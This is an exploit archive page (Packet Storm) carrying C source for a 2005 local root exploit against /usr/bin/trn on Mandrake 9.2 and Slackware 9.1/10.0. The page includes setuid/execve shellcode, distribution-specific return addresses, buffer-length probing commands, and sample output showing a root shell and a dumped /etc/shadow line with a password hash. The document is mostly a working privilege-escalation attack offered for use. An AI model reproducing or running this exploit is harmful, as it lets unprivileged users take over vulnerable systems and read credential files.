what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

trn-test.txt

trn-test.txt
Posted Jan 27, 2005
Authored by ZzagorR | Site rootbinbash.com

Local root exploit for /usr/bin/trn. Tested on Mandrake 9.2, Slackware 9.1.0/10.0.0.

tags | exploit, local, root
systems | linux, slackware, mandrake
SHA-256 | 01582be97fed45d219f9fdddda6cbadc367a0d5d9c76671520bd0222ed537e2d

trn-test.txt

Change Mirror Download
/*
/usr/bin/trn local root exploit
By ZzagorR - http://www.rootbinbash.com
*/
/*
sh-2.05b$ ./trn
usage : ./trn ret buf
example : ./trn 0xbfffff64
[+] mandrake 9.2 = 0xbfffff96
[+] slackware 10.0.0= 0xbfffff98
[+] slackware 9.1.0= 0xbfffff84
sh-2.05b$
sh-2.05b$ ./trn 0xbfffff84 128
[BOO %] 128
[RET %] bfffff84
sh-2.05b#
sh-2.05b# id
uid=0(root) gid=98(nobody) groups=98(nobody)
sh-2.05b# cat /etc/shadow
root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0:::::
TEST :
MANDRAKE 9.2
SLACKWARE 10.0.0
SLACKWARE 9.1.0
http://www.rootbinbas.com/d0kum4n/trn-test.txt
BOO:
$trn `perl -e 'print "A" x 120'`
$trn `perl -e 'print "A" x 124'`
$trn `perl -e 'print "A" x 128'`
Segmentation fault
BOO=128
*/

#include <stdio.h>
#include <string.h>
#define NEREDE "/usr/bin/trn"

char caylarbeles[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]){
int bizim;
char bufe[1000];
char *tayfasi;

if (argc < 3) {
printf ("{ trn l0c4l r00t 3xpl01t }\n");
printf ("{ By ZzagorR - http://www.rootbinbash.com }\n");
printf ("{ usage : %s ret buf }\n",argv[0]);
printf ("{ example : %s 0xbfffff99 142 }\n",argv[0]);
printf ("{ mandrake 9.2 = 0xbfffff96 }\n");
printf ("{ slackware 10.0.0 = 0xbfffff98 }\n");
printf ("{ slackware 9.1.0 = 0xbfffff84 }\n");
exit(1);
}else{
unsigned long RET=strtoul(argv[1], NULL, 16);
int BOO = atoi(argv[2]);
printf ("[BOO %] %i\n",BOO);
printf ("[RET %] %x\n",RET);
tayfasi = bufe;
memset(bufe, 0x41,256-strlen(caylarbeles));
sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
*(long*)(tayfasi+bizim) = RET;
execl(NEREDE, NEREDE , bufe, NULL);
}
}

_________________________________________________________________
Yagmura yakalanmamak için sadece semsiyenize degil, MSN hava durumuna
güvenin! http://www.msn.com.tr/havadurumu/

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close